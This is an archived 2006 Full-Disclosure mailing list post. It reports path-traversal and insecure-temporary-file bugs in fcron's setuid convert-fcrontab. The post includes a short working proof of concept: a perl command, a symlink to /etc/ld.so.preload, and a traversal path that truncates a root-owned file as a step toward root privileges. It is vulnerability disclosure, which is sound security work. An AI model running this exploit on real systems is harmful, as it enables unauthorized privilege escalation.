full-disclosure - Fcrontab - memory corruption on heap.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Thu Feb  2 19:08:36 2006
From: appelast at drumnbass.art.pl (Karol Wiesek)
Subject: Fcrontab - memory corruption on heap.

On Wed, Feb 01, 2006 at 03:28:50PM +0100, Adam Zabrocki wrote:
=> Name:                      Fcron - convert-fcrontab
=> Vendor URL:                http://fcron.free.fr
=> Author:                    Adam Zabrocki <pi3ki31ny@...pl>
=> Date:                      November 25, 2005
=> 
=> 
=> 
=> 
=>     Issue:
=> 
=> 	Fcron (convert-fcrontab) allow users to corruption on heap section.

Hi pi3 and list,

There are much simplier bugs in convert-fcrontab, which toghether allows to gain uid0 privileges. 

* convert-fcrontab lacks any checks on file path passed to it. Attacker could get outside of fcron spool directory using "../".

* convert-fcrontab opens temporary file without O_EXCL flag.

PoC:

perl -e '{print "fcrontab-017\nuser\x001132863099\n\x00\x00\x00\x00"}' > /tmp/fc_file
ln -s /etc/ld.so.preload /tmp/fc_file.tmp
convert-fcrontab ../../../../tmp/fc_file 

Will create empty /etc/ld.so.preload file or truncate existing.

Tested on fcron 2.9.5 shipped with trustix 2.2 (setuid root by default), and fcron 3.0.0.

regards Karol